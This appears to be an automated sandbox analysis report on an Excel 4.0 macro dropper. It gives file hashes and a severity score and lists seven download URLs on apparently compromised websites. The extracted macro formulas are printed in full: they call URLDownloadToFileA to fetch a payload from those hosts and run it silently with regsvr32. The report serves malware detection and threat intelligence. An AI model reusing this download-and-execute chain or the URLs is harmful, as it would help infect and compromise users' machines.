General

  • Target

    3439b7bb9efeed7e306c3629493b8745d1e7c476a50e5278fa3ed98ec40aed6f

  • Size

    38KB

  • Sample

    241120-1rl9aavdnq

  • MD5

    4099c8ad062e5995a4c8857876b964c3

  • SHA1

    ccd142be7d0eb568b6220dbd7e7bc52d9ddf3366

  • SHA256

    3439b7bb9efeed7e306c3629493b8745d1e7c476a50e5278fa3ed98ec40aed6f

  • SHA512

    d711aa5af9c76231fe640b97f0fd76f7db9571d18aec2624b0fda6b2613360616cabad9b8ceadb104edd2f44aa7c3f0863a53a0ca02754ef07e33287d9520890

  • SSDEEP

    768:2bdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:uwDOZZ1ZYpoQ/pMAeVIyYzaT

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/

https://risamfg.com/wp-admin/JtqFQW/

https://thailand-rocco.com/wp-content/gE7UvFwLh/

https://pregy.org/test/rXTl1DEv0CWCE/

https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/

https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/

https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://risamfg.com/wp-admin/JtqFQW/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thailand-rocco.com/wp-content/gE7UvFwLh/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pregy.org/test/rXTl1DEv0CWCE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/

xlm40.dropper

https://risamfg.com/wp-admin/JtqFQW/

xlm40.dropper

https://thailand-rocco.com/wp-content/gE7UvFwLh/

xlm40.dropper

https://pregy.org/test/rXTl1DEv0CWCE/

xlm40.dropper

https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/

xlm40.dropper

https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/

xlm40.dropper

https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/

Targets

    • Target

      3439b7bb9efeed7e306c3629493b8745d1e7c476a50e5278fa3ed98ec40aed6f

    • Size

      38KB

    • MD5

      4099c8ad062e5995a4c8857876b964c3

    • SHA1

      ccd142be7d0eb568b6220dbd7e7bc52d9ddf3366

    • SHA256

      3439b7bb9efeed7e306c3629493b8745d1e7c476a50e5278fa3ed98ec40aed6f

    • SHA512

      d711aa5af9c76231fe640b97f0fd76f7db9571d18aec2624b0fda6b2613360616cabad9b8ceadb104edd2f44aa7c3f0863a53a0ca02754ef07e33287d9520890

    • SSDEEP

      768:2bdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:uwDOZZ1ZYpoQ/pMAeVIyYzaT

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks